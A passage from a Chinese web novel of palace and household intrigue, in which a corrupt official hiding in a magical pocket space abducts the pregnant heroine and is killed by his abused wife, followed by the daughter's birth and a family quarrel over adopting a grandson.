“贵妃娘娘安好！”姜小满先是对贵妃恭敬行礼，而后拉了高萍萍的手道，“萍夫人，相公四处寻你不见，原来你在这里！相公说了你可是他明媒正娶的妻，有些同窗和上官还未见过你，正要将你引荐呢！” 高萍萍听闻此言，感激地望了小满一眼，小满这是在告诉高贵妃她高萍萍是妻，而且是相公极其重视并宠爱的妻！ 高贵妃是识得小满的，她是明澈的正妻。 看着眼前的庶妹好似相公疼爱，还有如此善待于她的正妻，高贵妃不禁有些晃神，这高萍萍的命竟然这样好？ 而自己呢？虽身为贵妃，但亦不过是个妾，还是个没有了生育能力的妾！在外人看来好似得宠，但她心里的苦涩谁人能知？帝后一条心，她无论怎样努力都无济于事—— “既然我相公寻我，那就告退了！”高萍萍打破了高贵妃的晃神，正要离去之时，却见皇后朝这边走了过来。 众人忙向皇后行礼问安，皇后简单寒暄了几句便对高贵妃道，“这两个便是妹妹的侄儿侄女吗？” 高贵妃懒懒称是。 皇后：“本宫方才听陛下所言贵妃很喜欢孩子，想要将小皇子记在自己名下？只是皇子的生母已是嫔位，记在贵妃名下不合规矩，依我看贵妃若是真心喜欢孩子便将这两孩子留在宫里吧——” 稚月：“可以天天都像今天这般在宫里玩耍吗？” 皇后：“当然可以！” “不可！”高贵妃有些慌了，“皇后娘娘，这俩孩子尚小，离不了母亲——” 将臣子的子嗣留在宫中，自古就一种可能：做人质！ “榴月！” 皇后抬眸示意，已成为宫中女官的榴月便着手要带两个孩子离开。 “不可以，即便娘娘身为皇后也不能随意带走臣子的儿女！”高贵妃妄图拦下两个孩子。 皇后却悠悠道，“这是圣旨！” 一句圣旨，贵妃几要瘫软在地，圣意到底意欲何为？ 孩子被带走的消息很快便传到了男宾席上，正在吃酒的高将军手中的酒樽一滞，有些不可置信地要老妻再说一遍。 那高夫人隐着哭声将孩子被带走的情形又说了一遍。 纵使历经百战，此刻的高将军依然是慌的，那孙女儿便罢了，那孙子可是他高家孙辈中唯一的独苗儿？这一刻，他似乎也明白了为何宫人在高府传旨时再三嘱咐要将小公子和小小姐带上。 因着高贵妃得宠，这两孩子也算是频繁入宫去看望姑母，所以高将军便没有往别处想。 此刻，颇有些慌乱的高将军竟扯了明澈道，“贤婿啊，你说这该当如何是好啊？” 关键时刻高将军发现能与他一同议事拿主意的只有这个便宜女婿。 “岳父大人，是不是贵妃娘娘方才同陛下提过要将小皇子记在名下的事儿了？”明澈一脸的关切。 在得到肯定答案后明澈一脸惋惜道，“我前几日是怎样和岳父说的，哎呀——” 高将军忆起前几日明澈之言亦是颇为后悔，然眼下再追悔已然来不及了，“贤婿，你说该怎么办？” “岳父大人你糊涂啊！”明澈示意要同高将军借一步说话。 第200章 末路 二人来到一偏置的角落，明澈瞅着四下无人便轻语道，“岳父，你的不甘小婿明白！岳父虽有着从龙之功却并未得到自己应得的东西！” “但岳父想想，倘若陛下给了我们高家更大的权利，让贵妃娘娘取代皇后并抚养了皇子，陛下夜里岂能睡得着？” 高将军点头表示明澈言之有理，但是难不成他就白白付出了？ 高将军：“君心果真凉薄，别将我惹急了——” 明澈立马捂了高将军的嘴道，“岳父呀，莫要口出狂言，有些话不能说有些事不能做呀！倘若今日上面的不是曾经的羽王殿下，凭他是什么湘王、晋王、秦王的，又有多大区别呢？” 高将军听到秦王二字，不由得一个激灵，颇有些心虚道，“你胡说些什么？我，我，我不是那个意思——” 明澈：“我自然知晓岳父对陛下是忠贞的，但眼下我们高府只有两条路可以走，一是富贵，二是抄家，就看岳父如何选择了？” “抄家？”高将军的背上已是起了一层薄汗，他认为最好的路不是富贵，也不是抄家，而是换一个新主然后权倾天下。 但高将军已然思量数月，那秦王当真会比羽王待自己强吗？ 今日明澈之言让他彻底看清了，与秦王结盟简直是天方夜谭，且不说秦王的实力本就不如当年的羽王，想要入主胜算并不多，即便秦王当真成了，至多也会同羽王一样待他。 原来他已经走到尽头？但明澈所谓的富贵是什么意思？ 高将军：“贤婿，如何富贵啊？” “所谓富贵，当然是用自己拥有的东西来换了！至于岳父大人有什么？小婿就不甚清楚了——” 话已带到，高将军自然懂得他有什么！ 几日后，思虑良久的高将军终于入了上书房。 “陛下，臣年迈，欲要带着家人告老还乡，请陛下准臣接那两孩儿出宫——”高将军伏地叩拜。 “高爱卿，怎得突然有此想法？”皇帝走下台阶，亲自将高将军扶起来。 高将军悠悠捧出兵符道，“臣近日旧伤频发实不堪大任，不想因臣之故，误了大事，请陛下准允。” “将军自谦了，我瞧着将军身子骨还算硬朗——” 二人一来一回间，皇帝便命人接了兵符道，“那朕就不为难将军了！如果没有记错的话将军是江南人？” “臣却是江南人士！”高将军拱手道。 “既如此，朕便赐你江南良田数百顷，黄金千两，封万户侯，可世袭罔替！将军戎马半生也该好好去赏赏江南风光了——” 高将军闻言再次伏地跪拜，心中也升腾起一缕释然，陛下待他终究是不错的，“臣谢皇恩！” ...... 随着高将军的离开，明澈亦是官升一级成为了一品大学士。 与明澈的升官不同的是同样从承恩侯府走出来的进士陆云起却被判了死刑。 那日，姜小满晨起便看到一条秘闻：【蓝金玉秘密收集证据状告自己的丈夫陆云起买官卖官和贪墨等数条罪状，因证据确凿和贪墨数额巨大，陆云起被判处绞刑。】 之前姜小满便在系统中得知是陆云起搬空了承恩侯府当年的库房，陆云起一向是爱财之人，如今却因钱财而丢了性命。 作为认识了两辈子的人，姜小满亦是颇有些感慨。 令姜小满没想到的是让陆云起落马之人竟然是他的妻子蓝金玉？姜小满犹记得蓝金玉初嫁时的欢喜。 只是明澈下值后却带回一个更让人震惊的消息：陆府被抄却未找到陆云起，他失踪了。 “娘子，你觉得那陆云起能去哪里呢？” 明澈与姜小满互相瞧了瞧对方，皆是了然，还能去哪里？他是有空间的！　别人不曾领教过那陆云起的空间，姜小满与明澈却是实实在在在里边儿待过的！ “娘子，你很快便会临盆，一定不要乱跑，免得遇到不该遇到的人！”明澈颇为担忧地嘱咐着。 姜小满亦是点点头，陆云起此生最大的愿望，一是出人头地，二是让儿子袭了那承恩侯府的爵位。 眼下出人头地无望，而那承恩侯府早已是个落魄的空架子，据说如今在那南荒之地已然穷得揭不开锅了—— 所谓狗急了跳墙，姜小满担忧那陆云起对自己是不是还存了什么杂念。 “放心吧，我已命人将各个门都严加防范，闲杂人等一律不得进！”姜小满笑笑，让明澈放心。 日子一日日揭过，倒也平静。 这日，有家丁来报门口有一位妇人自称是小满的朋友，带着礼物来看望小满。 茉心：“来者何人可问清了？” “那人说她是夫人的旧友，叫蓝金鱼！”那家丁挠挠头想不通怎会有人叫金鱼的。 “是蓝金玉，快请！”自陆家搬走后姜小满便再未见过蓝金玉，如今听闻她状告陆云起终是得了解脱，不禁为她开心亦是有一肚子的话想与她说。 明府侧门，蓝金玉带着一个灰脸儿的小厮欲要进去。 守门的家丁道，“请夫人自己进去便好，小厮便在此等候。” 那家丁说着便瞧了那小厮一眼，觉得颇有些眼熟。 “小哥，你瞧我带了这么多东西，属实是拿不动，就让我这常随帮着一道送进去吧，只送进去便出来！”蓝金玉道。 那家丁瞧了瞧那小厮手中抱着的东西皆是贵重物品，便打消了替他抱进去的想法，万一有个磕碰损坏自己可赔不起，“夫人请进吧！” 于是，装扮成小厮摸样的做了简单易容的陆云起便跟着蓝金玉进了明府，一路畅通直至蘅泽苑。 “小满，你近来可好？竟然有孕了？”看到姜小满隆起的肚子蓝金玉有一瞬的悔意。 “我好得很，只是听闻你出了大事！”姜小满担忧道，“到底是怎么回事呢？听说那陆云起买卖官职的证据还是你提供的？” 蓝金玉脸上的表情有些不自在，瞧了瞧左右伺候的丫头，小满会意便将茉心等人遣出去。 茉心出门前示意那拿着礼物的小厮别傻愣着了，和她们一起退下啊？ 陆云起：“好，姑娘先出去，等我将东西放好便即可出来——” 第201章 原来有这么疼啊？ 茉心：“你快点儿啊——” 只是茉心已然等了一瞬却还未见那小厮出来，于是推门进入查看，这一看却是吓坏了她：屋内一个人都没有！ “夫人，夫人你去哪儿了？”茉心惊慌叫着。 方才同茉心一道退出去的三个丫鬟也颇为诧异，怎得一扭脸儿的功夫屋里三人便没有了，这门分明没有开过呀？ 空间里。 姜小满惊恐地瞧着撕下人皮面具的陆云起，她居然这么轻易又被抓了进来！ “蓝金玉，枉我将你视作朋友，你居然同这人一起害我？”空间里还有蓝金玉。 谁知那蓝金玉面上的神情好似越来越不对劲，很快便躺在地上声声哀嚎，“求——求你了，给我吃一颗药吧——” 陆云起就那么瞧着躺在地上痛苦哀嚎的蓝金玉道，“你个贱人，这就是你去敲登闻鼓害我的下场！今儿你表现不错，解药我自会给你，可我还想再看你痛苦一会儿，就一会儿——” 听着陆云起之言，姜小满满脸的恐惧，原来蓝金玉是被这陆云起控制了，不知他用的是什么邪药！ “求你，主人，你给我吃一颗——”蓝金玉匍匐上前抱了陆云起的脚道。 陆云起一脚将其踢开，眼眸却是落在了姜小满的肚子上，“你竟然有了他的孩子！你竟然——” 陆云起发狠地盯着姜小满的肚子，似要将其吞没！ “云起、哦！不，沐风，你干嘛要将我关进来？你放心，我不会害你，你先将我放出去，我以后日日都送吃食进来给你，呵呵——”姜小满极力讨好着对方，生怕那陆云起一个不满意对自己和肚子里的孩子下手。 “不必！”陆云起俯身捏了姜小满的下巴道，“以后你我二人便住在这里，有这个奴才出去为你我购置，还有这一屋子的金银玉器，你害怕日后没有好日子过不成？” 姜小满环顾四周，这空间里到处堆的皆是金银，想来这陆云起的确是贪了不少。 “好，好，我们好好过日子，你先将药给了金玉，我听着心烦——”姜小满只得先顺着那人来。 “你说得对，我也听得心烦！”陆云起将药丸扔给蓝金玉，随即对小满道，“你准备如何与我好好过日子？” “自然是你怎么高兴怎么过，呵呵——”姜小满如今只有一个念头，护孩子周全，至于其他的都不重要。 “好——”陆云起说着便俯身而下解着襟扣。 只是姜小满如今的情态，这二人之间还隔着肚子里的一人。 陆云起触碰到姜小满隆起的肚子，心中的怒火似被点燃了般狠狠盯了一瞬道，“真是个碍事的东西！” 不知是一时着急，还是方才那陆云起的动作太过，姜小满竟隐隐感觉肚子渐痛起来。 “疼——”姜小满无力地请求，“你得帮我找个产婆，我怕是要生了——” 只一会儿功夫，小满的喉间便溢出细碎的呜咽，鬓发也渐渐被汗湿。阵痛如潮水般袭来，瞬间便将人折磨得不成样子。 “主人，小满这是要生了，不如让我出去帮着寻个稳婆吧！”已经恢复如初的蓝金玉亦在一旁恳求道。 陆云起瞧着姜小满的痛苦，心内各种情绪交织，最终吐出一句，“这肚子里又不是我的孩儿，不需要稳婆。” 姜小满拼劲全力爬起，握着陆云起的手臂道，“求你了——孩子是无辜的——” 突然一阵剧痛袭来，姜小满感觉自己似要被撕裂，因此握着陆云起的手便也不由得用了力。 陆云起感受着姜小满指尖恨不得掐入自己皮肉的力道，亦是感同身受着眼前之人现下正经历着怎样的痛苦。但他不能心软，如今的明府肯定已然乱作一团，若是出去找稳婆，不但稳婆找不着还会暴露行踪，毕竟明澈也是知道他这个空间的。 陆云起一把将人抱起放在床上，任由姜小满痛苦的挣扎，他用力将小满环抱着感受着她的痛苦道，“疼吗？这不是我的孩儿，疼便疼些吧！下次，你生一个属于我们的孩子，我定然为你请产婆！” 陆云起瞧着痛苦到极致的姜小满竟然有些许的欢喜，这便是她辜负自己的代价，活该！陆云起的手臂已被小满掐出了丝丝血痕，他兀自抚着那些伤痕道，“原来有这么疼啊——” 时间就这样一分一秒的过去，小满已生生煎熬了两个时辰，但孩子还未有落地的意思。 “要怎样才能逃出去？”姜小满一边忍着腹中的剧痛，一边担心着倘若孩子落地定然逃脱不了陆云起的魔爪，他不会放过自己同明澈的孩儿！ 思来想去，姜小满下了最后的决心：为了孩子平安，唯有杀掉陆云起方能出去！ 这空间是陆云起的，若是人没了空间自然也就没了！ “我——我需要金玉贴身伺候——”姜小满尽量让自己集中心力同陆云起谈条件。 “贴身伺候？怎么贴？我也可以——”陆云起将小满的外衣脱下，待要伸手去解那亵衣时方看到白色的亵衣已然一片血色。 陆云起觉得自己的心隐隐作痛，便有一瞬心软道，“滚过去好生伺候！” 那蓝金玉得令便走向床边欲要帮着姜小满扯下亵衣查看，“主人烦请回避一下！” 陆云起犹豫了一瞬便扭头向门口而去，他亦接受不了同小满第一次坦诚相见是这种情形。 眼瞧着陆云起似有松懈，姜小满有气无力地附在蓝金玉耳边道，“杀！杀了他，我们才能——活——” “可是——” “没有可是，你的病——能治——” 姜小满知晓蓝金玉的顾虑，倘若杀了陆云起她便没了解药，但此刻姜小满只得承诺蓝金玉的病有解药，否则她的孩子必死无疑。 “宫里有，药——”姜小满尽量用最短的字最低的声来说服蓝金玉，“如不杀，我们这样活着有什么意思——杀了他就能出去——” 蓝金玉的眼泪扑簌簌往下流，自被那陆云起控制以来她早已是生不如死！那男人当初费尽心思娶自己，后来眼见着先帝驾崩她蓝家失了势便本性暴露。 第202章 姜小满的女儿 是自己忍辱收集了陆云起的罪证，本以为可以治他于死地，谁知那该死的陆云起竟然有这么个鬼地方！ 此刻的蓝金玉恨意达到了顶峰，小满说得对，这样苟活又有什么意思？这陆云起本就被判了绞刑，让他死个痛快已然是便宜了他！ 蓝金玉朝着姜小满点点头，随手取了旁边金银玉器中的一罐金瓜子。姜小满会意又将自己头上的发簪拔下递到蓝金玉手中。 二人只是几个简单的眼神便明了接下来要做的事。 与此同时又是一阵巨痛袭来，陆云起听得小满一声痛呼，方要扭头蓝金玉猛地将发簪直直捅入陆云起的眼睛。 “啊——你个贱妇！”陆云起抱头在地上哀嚎，蓝金玉顺势将那一罐子金瓜子给陆云起灌了进去。 陆云起还未反应过来已有一部分金瓜子入喉，剩下的部分却抵死不咽！二人纠缠扭打间，蓝金玉将旁侧的金银玉器纷纷朝着陆云起脑门砸去—— 一边砸一边猩红着眼道，“你个丧心病狂的东西，我让你打我、让你打我——” 姜小满早已摔在了地上试图能尽力帮着蓝金玉一二，哪料那蓝金玉已然杀红了眼。姜小满看着蓝金玉那被撕扯开的衣裳里缕缕的血痕，不禁哀叹这陆云起到底干了多少不配为人的事儿。 此时陆云起早已没有了声音，那蓝金玉还在自顾自地踢打怒骂！ “金玉，好了，好了——”姜小满还未说完却见三人已然又回到了蘅泽苑的屋里。 此时的蘅泽苑屋外是一片混乱，但这间屋子里却是一个人都没有。 蓝金玉反应过来，猛地开门喊道，“救命啊！快叫稳婆——” 随着婴儿的啼哭声，姜小满与明澈的女儿终于来到这世上。 “娘子，都过去了！那人已被弄走，你放心吧——”明澈眼尾噙着泪光道。 “我瞧瞧——孩子——” 奶娘将孩子抱来道，“夫人，您瞧瞧，咱们小姐真真是玉雪可爱呢！” 姜小满轻抚了孩子的小脸道，“我的女儿——” 姜小满是一位母亲了，她的女儿生于一品大员之家，有一对疼爱她的父母，她生来就是有福的，自不必像她的母亲一样生来便是奴婢，一步步熬到如今的日子。 最重要的是她的母亲会全心爱她，会为她开设女学，会让她做自己想做的事，即便将来觅得良婿也永远是母亲的女儿而不是泼出去的水—— “小满，真好！是一个像你的女儿——”明澈亦是宠溺地刮了刮小婴儿的鼻子。 翌日，明澈着人将从空间里掉落的那些金银玉器如数清点欲要送还国库。 皇帝瞅着那些清单道，“听闻明夫人近来在忙着办家学？说是平民百姓甚至奴仆之子女皆可入学？” 明澈：“正是，臣妻还欲要建立女学，让女子能读书明理——” “既如此，那这些财物便带回去供明夫人兴学所用吧，多些银钱方能多收一些学子，如此也算是替朕分忧了！”皇帝摆了摆手示意明澈将东西搬回去。 明澈叩首谢恩，随后又将蓝金玉大义灭夫的事情说与皇帝听，并替蓝金玉求药以解除痛苦。 皇帝自是无有不应，姜小满也算实现了自己答应替蓝金玉寻药的诺言。 从这日起，京城多了一个与贪官有关的故事。 说那贪官陆云起不但文采斐然，而且武功高强，能带着人在深宅大院中来去无踪，本来有着无限光明之仕途，却因贪慕银钱，最终落下个吞金而亡的凄惨结局—— ...... 姜小满与明澈的女儿小名唤做如意，二人希望女儿此生可以平安如意。 自小如意落地以来，高萍萍日日都去看望。 以前的高萍萍只要想到生孩子便下意识想到因难产而亡的母亲，但如今瞧着如意那奶呼呼的小样子，高萍萍多么希望她能有自己的孩子，什么难产不难产的，已然被她抛之脑后了。 正在廊下长吁短叹的高萍萍看到翠姑在向她招手，“萍夫人，这是打哪儿来啊？” 高萍萍：“哦，我去瞧了瞧如意！你没见如意那孩子真真是一天一个样儿，好玩儿极了——” 二人寒暄几句，翠姑便直入主题，“萍夫人，那孩子再可爱也不过是个女儿，你如今可得加把劲生一个大哥的长子才行！” “女孩儿更金贵呢！”高萍萍虽不喜翠萍这样说，但她的确想要一个自己的孩子。说来，自上次将明澈打出去后他就再没来过梅香居—— “是，是，是！但无论男孩女孩儿，总得是有自己亲生的才是！”翠姑说着便四处瞅瞅随后附耳在高萍萍耳边低语了几句。 二人平日里虽走得近些，但还未经人事的高萍萍猛然听到翠姑这些有助于怀孕的知识细节，不禁红着脸儿道，“哎呀，这青天白日的说得些什么呀？” “萍夫人，我可是将你当自家姐妹才和你说的！这有什么好害羞的，又不是黄花大——”翠姑打量着高萍萍的神色道，“你该不会还没和大哥——” 高萍萍本就是有什么便说什么的性子，又将翠姑视作好友，于是点点头道，“是啊，我可不想生孩子——” 若是以前这样说那定然出自肺腑真心，但现下说出不想生孩子这句时，高萍萍自己都心虚，她现在想要一个孩子了，很想，很想。 “萍夫人，糊涂啊！眼下正是那姜夫人坐月子的时候，你得抓紧啊！”翠姑说着便又凑近传授了些闺房秘招儿，临了还不忘补一句，“听我的，那明二头便是让我这样拿捏的，夜夜都离不开我——” 高萍萍不能再听下去了，绯红着脸颊速速离开。 当她回到梅香居后，当下便命丫鬟沏了一杯泻火的莲子茶咕咕一饮而尽。待稍稍平了心绪，便认真思量起那翠姑的话，越想便越是睡不着。 “给我拿壶酒来！”高萍萍睡不着时习惯了饮一些酒帮助入睡。 但今日许是思虑过多，几杯下肚的高萍萍竟然觉得晕乎乎的。 与此同时，她觉得身上好似充满了勇气，“去蘅泽苑将老爷给我绑来，就说我也要生孩子！” 第203章 糊涂一回 值夜的丫鬟看着已然喝大了的自家主子，一边尽量去夺她手中的杯盏，一边不知是否该去蘅泽苑去请明澈过来。 “这可如何是好？夫人醉成这样？当真要去请老爷吗？”一丫鬟焦急道。 另一丫鬟思索一瞬道，“去请！就这个时候请最好不过了，倘若夫人得了宠，咱们的日子也跟着好过不是？” 蘅泽苑中，明澈听闻高萍萍醉得厉害便辞了小满急急赶了过来。 “你来了—”高萍萍见明澈过来便踉跄着去迎。 明澈入室见高萍萍已然换了准备入睡的寝衣便顿在了门外。 高萍萍招手：“愣着做什么？我今儿不打你，进来、进来—” 高萍萍今日之醉态是七分假三分真，借着几分醉意高萍萍想糊涂一次，就一次…… “你少喝些，莫要伤了身子！来人—”明澈说着便要叫丫鬟进来服侍。 “出去—”高萍萍向着推门而入的丫鬟道，“你们进来做什么？是要瞧着我和相公生孩子吗？” 丫鬟们吓得连连闭门退出。 “你—”明澈亦惊得瞠目结舌。 “哦！忘了，忘了！”高萍萍将手抚着额头道，“夫君你喜欢姐姐那样—温柔些的—” “夫君，如意当真可爱，我也要一个那样软糯的孩儿，这个忙只得夫君来帮了—” 高萍萍竟不知她有朝一日能做出此等做派。 自高萍萍入府以来明澈虽也入了几次梅香居，但多数都是被打出来的，今儿高萍萍这做派的确让明澈有些摸不着头脑。 “你醉了，有什么改日再议！”明澈说着便要拂袖而去。 “站住！” 明澈扭头便见高萍萍又抄起了那日揍过自己的棍子。 “你干吗？”明澈条件反射般道，怎得留也要被打，不留也要被打。 高萍萍：“不许走！你将我娶了回来就得和我生孩子！” 自高将军告老还乡后明澈便再也未踏进过梅香居，有些话他早就想同高萍萍解释一二了，择日不如撞日，也许今天正是时候。 “萍萍，有些话我想同你说—”明澈转身向高萍萍继续道，“你是我的平妻不假，你若是想要个孩子也可以，但你得接受我的心里只有小满。” 明澈说着又定定看向高萍萍道，“其实你不必学着小满的样子！你是高萍萍，你英武、爽朗、仗义，和小满一样好！” “我仗义？”高萍萍听着这句感到了莫名的刺痛，她正将恩人的丈夫拘着，而那人却说她仗义？ 高萍萍顿了几息便如泄了气般坐在了圈椅之上，她好不容易借着几分醉意鼓足了勇气想糊涂一回，那人却说她仗义。 明澈瞧着高萍萍的样子便知事情已然了了，想那高萍萍是多么自尊的女子，那日自己不过信口编了一句要在这里睡觉便能激得她将自己打出去。 而今这一席话就是要让高萍萍看到自己本来的样子，莫让她一时迷了心做出对自己、对旁人都会终身后悔之事。 “你若真的想要个孩子，那我就恭敬不如从命了！”为了进一步让高萍萍看清自己，明澈决定再过分些。 眼见着明澈要褪外衫解襟扣，高萍萍瞬间慌了神，酒也醒了十分，“你，你做什么？方才还一副正人君子的模样！即便，即便姐姐不怪你，但你将我高萍萍当成什么人了—” 瞧着明澈走出梅香居的背影，高萍萍知晓她与明澈是再无可能了— 正当高萍萍已然接受此生便是这样要在明府虚度之时，翠姑给她带来了希望。 翠姑：“萍夫人，你今儿见那鸿哥儿了吗？真真是可爱，虽只比如意大几日，却是白胖许多呢！” 鸿哥儿是明二继妻蔡氏的亲生孙子。自如意出生以来，那蔡氏便常常将亲生的孙儿接来明府小住，不知葫芦里卖得什么药？ “见了！是可爱—”高萍萍并未多想。 “你说大伯母为何接鸿哥儿入府小住？”翠姑兴味道。 “我怎么知道！”高萍萍一向不喜这些弯弯绕，于是便直截了当道，“为何？有话便直说—” 那翠姑本就是受蔡氏所托而来的，自然也就不绕弯子了，“因为如意是个女娃呀？” “那位若是一举得男也便罢了，但却是个女娃。这鸿哥儿可是大伯母的亲孙，自然也就是大伯的亲孙！” “这孩子好就好在比如意大那么几日，若是能有个母亲，那便是大房的长子了！” 翠姑说着意味深长地瞧了一眼高萍萍道，“萍夫人不就是这孩子现成的母亲吗？这孩子若是养在你的膝下，日后又有亲祖母照拂，那前程自然是差不了的—” 高萍萍听到此处才明白过来，原来那蔡氏将亲孙抱来明府打得竟然是这个主意。 “那不行，那孩子终究不姓明—”高萍萍满脸的拒绝。 “哎呀，我的傻夫人，这么丁点儿小的孩子自然是谁养的谁亲，这么好的机会，过了这个村可没这个店儿了！你当真不想要个孩子—” 她想，她比谁都想！尤其是这种不用亲自生的孩子！ “此事事关重大，我想想—”高萍萍终究没有一口回绝。她的确阻挡不了一个胖嘟嘟的孩儿脆生生叫自己母亲。 那翠姑眼见着高萍萍动了心，也没有上赶着非要让其当下便答应，而是在此后的日子里隔两三日便拉了高萍萍到听松居晃悠。 高萍萍每次去了听松居，那蔡氏均是热情地拜托高萍萍替自己照顾一会儿孙儿，几次下来那孩儿似乎也格外喜欢高萍萍。 眼见着一切都在按着自己预料的方向走，蔡氏终究忍不住将要让亲孙鸿哥儿过继在明澈与高萍萍名下的决定说了出来。 此话一出明家当即便炸开了锅！ 小满与明澈显然不愿意，奈何明二像是鬼迷了心窍一般非要闹着认这个外姓的孙子。 “爹！你莫不是老糊涂了，如意才是你的亲孙女儿，你日日将那不知哪里的孩子看得和眼珠子一样！”明澈实在是忍不了了。 “你个忤逆不孝的东西！那是你母亲的亲孙，也是我的亲孙，什么叫不知哪里来的孩子—”明二也很上头。 第204章 过继 “爹！我和小满日后还会有孩子，况且哪怕只有如意一个也够了！什么我母亲、我母亲，我母亲早就死了—” 话到这个份儿上再说便没意思了— 父子二人僵持了几日后，那蔡氏竟然鼓动明二直接让孩子认亲高萍萍便成，明澈公务繁忙一时顾不上也是有的。 于是鸿哥儿要越过明澈认亲高萍萍的事儿便传入了小满的耳中。 “夫人，奴婢真真是没见过如此不要脸的老妇！能发了大运给咱们大老爷做继室已是几辈子修来的福分，如今不安生待着，又出幺蛾子。” “这老妇胃口的确是忒大！掌家不成便打起了过继她亲生孙子的主意，只怕这孩子过了过来，她蔡家全族都得靠咱们明府养着—”茉莉也少见地抱怨起来。 姜小满自然清楚这蔡氏打的是什么主意，这明家的产业是她与明澈打拼来的，没有白白让那老妇窃取的道理。 况且明澈早已喜当爹一次，再不能有这样的蠢事落在他们的头上。 只是这孩子也不是说过继便能过继的，既然大顺朝是以孝治天下，明澈忤逆不了他爹明二，那么想来明二也无法忤逆他的爹娘。 明阿爷和明阿奶当真能听着别人家的孩儿喊他们太爷太奶？ 当姜小满赶到明阿爷阿奶的院子时，老远儿便听得屋子里的说笑声。 待入室一看，明阿爷正抱着那鸿哥儿笑得合不拢嘴，“叫太爷—” 这蔡氏下手倒是快，这么快便连明阿爷明阿奶的心都笼住了。 见小满进来，本是含饴弄孙乐呵呵的一屋子人忽得便止了笑声。 姜小满：“给阿爷阿奶、父亲母亲请安！今儿鸿哥儿又来了？都是亲戚是该常来常往的—” 姜小满说着便上前摸了摸孩子的脸蛋，露出颇为喜欢的样子。 “小满啊，澈儿没和你说吗？这鸿哥儿是要记在高氏名下的，是如意的兄长呢？”明二道。 “记在高氏名下？”姜小满嗤笑一声看向了明阿爷道，“阿爷竟也同意？这孩子可是蔡家的骨血，不是我们明家的根啊！” 明阿爷听到小满如是说便将孩子送还给丫鬟，明阿爷何尝不想要个明家真正的孙儿，但有希望吗？ 在明阿爷的眼里姜小满便是天下第一妒妇，成婚这么久才堪堪生下个女儿，且将明澈看得那样紧，连房里唯一的姨娘琥珀都被撵走了。 若是指望姜小满生儿子，明阿爷担心他活着的时候怕是见不到了，因此才勉为其难地同意了蔡氏的要求。 若有亲亲的曾孙谁会稀罕别人家孩子，这不是没有吗？ 明阿爷斜睨一眼道，“我倒是想抱自己家的，只怕是这把老骨头等不到那一日喽！” 明阿奶也跟着叹了口气道，“待这孩子改姓了明，应当是一样的吧？” 姜小满听出了明阿爷和阿奶心底的纠结，于是道，“哪能一样啊，别人的终究是别人的！阿奶可听过吏部赵大人家那糟心事儿吗？那赵大人家的长子便是过继的，谁知那长子过继后赵夫人又一连生了三个儿子！” “哟！三个儿子，那好啊，说明那过继的长子是个好的，若是没有这孩子也带不出后面的三个弟弟不是？”那蔡氏见缝插针般道。 明阿奶亦是频频点头，她也希望能因着过继鸿哥儿而给明家带来三个男孙。 “母亲这话错了！”姜小满继续道，“那长子知晓自己是过来的，从小就生了芥蒂，待成年后生怕家里将财产都给了三个弟弟竟狠了心害得那三位幼弟傻的傻，残的残，真真是家门不幸啊！” “那赵夫人如今见人便感慨，当初就不该将那白眼狼过来——” 蔡氏忙道，“那品性不好的毕竟是少数，我们鸿哥儿知根知底儿的，断断做不出那等事情！” “母亲这话又错了，正是因为知根知底儿才不能要鸿哥呢，谁不知鸿哥儿他爹仗着与明府的瓜葛如今到处招摇！”姜小满说着便又看向明阿爷道，“正所谓上梁不正下梁歪，倒不是我心窄，实在是鸿哥儿那亲爹——” 明阿爷与明阿奶深居简出，在姜小满绘声绘色的描述下第一次听闻那蔡氏的亲生儿子居然是这样一个纨绔，于是坚决摆摆手道，“罢了，罢了——” 那蔡氏着急道，“姜小满，说话可要有证据，凭何这样诬陷我儿子？” “诬陷？”姜小满说着便将前些时候那黑心棉衣棉被的事儿抖搂出来道，“爹，我说的可有半分假？鸿哥儿那亲爹能干出此等伤天害理之事，这才几日爹便忘了？” 明二忽得想起那黑心棉事件不禁也变了脸色。 “竟是这样人家的孩子，不成，不成——”明阿奶亦是摆摆手。 姜小满对那襁褓中的鸿哥儿没有半分的意见，即便对他亲爹颇为不喜但终究涉及不到孩子。只是，如今是他亲祖母在拿他当图谋窃取别家财富的工具，那姜小满也只得对不起他了，谁让他有一个这样的祖母呢。 蔡氏眼见着方才还高高兴兴的一屋子人，此刻已然无人再正眼瞧那鸿哥儿，于是急道，“总之，此事已然同高氏言明了，那高氏的长姐可是当朝贵妃，若是不愿过继鸿哥儿总得知会了高氏才行——” 蔡氏不得不将高萍萍搬了出来，那高萍萍可是十分喜爱鸿哥儿，她就不信这一家子能不将贵妃之妹放在眼里！ 正僵持间，高萍萍同翠姑一道过来了。 如今高萍萍每日都要去看鸿哥儿，今日听闻鸿哥儿被抱来了阿爷阿奶院子便也跟着过来了。 待见过礼后，高萍萍颇觉屋内气氛好似与往日不同，尤其是看到姜小满在高萍萍也不自在起来。 往日里她与姜小满是颇为要好的，但自从决定要过继鸿哥儿起她便有些躲着姜小满，总觉得此事对小满不住。 “妹妹，听闻你早已知道了要过继鸿哥儿的事，怎得不过来与我商议呢？”姜小满率先打破了沉默。 “哦，我想着过几日再和姐姐说的——”高萍萍吞吞吐吐道。 蔡氏见救星来了，立马热切道，“萍萍，过继鸿哥儿是件好事，可是有人却见不得我们娘俩高兴呢——” 第205章 大结局上 蔡氏絮絮叨叨地将姜小满不同意过继鸿哥儿之事说与了高萍萍，高萍萍从未想到有一日要同自己的恩人姜小满站在对立面，但眼下她得为自己搏一搏。 高萍萍：“姐姐，我不求夫君宠爱，只想要个孩子，难道这也不可以吗？” 姜小满：“只想要个孩子？妹妹想的未免简单了些！这孩子有爹有娘，妹妹不愿受生育之苦便有孩儿喊你叫娘，可知这孩子的亲娘十月怀胎却做不得主，拼了命生的孩子要叫他人为母，这又是什么道理？” “我，不是我不愿受生育之苦——”高萍萍有苦难言，实在是这孩子她一人也生不出来呀！这姜小满应该知晓她与明澈并未圆房，怎能在此故意激她。 姜小满似乎看穿了高萍萍的心思，随即道，“妹妹，明澈与你如何是你们的事，与我无关！但入这明府亦非我与明澈逼迫，是妹妹你自己选的不是吗？” 眼见着姜小满三言两语，高萍萍便落了下风，那蔡氏忙急着反驳，“你莫要胡说，这孩儿入明府自然是享福的！他亲生的爹娘哪有不同意的道理？” 蔡氏如今作为蔡家最有权势之人自然是一言九鼎，早已忘了这鸿哥儿的亲娘因见不到孩子还在家中哭天抹泪。 “享福？享什么福？”姜小满悠悠瞧着蔡氏道，“原来母亲执意要将孩子弄来是享福的，这母亲可就打错了主意？” 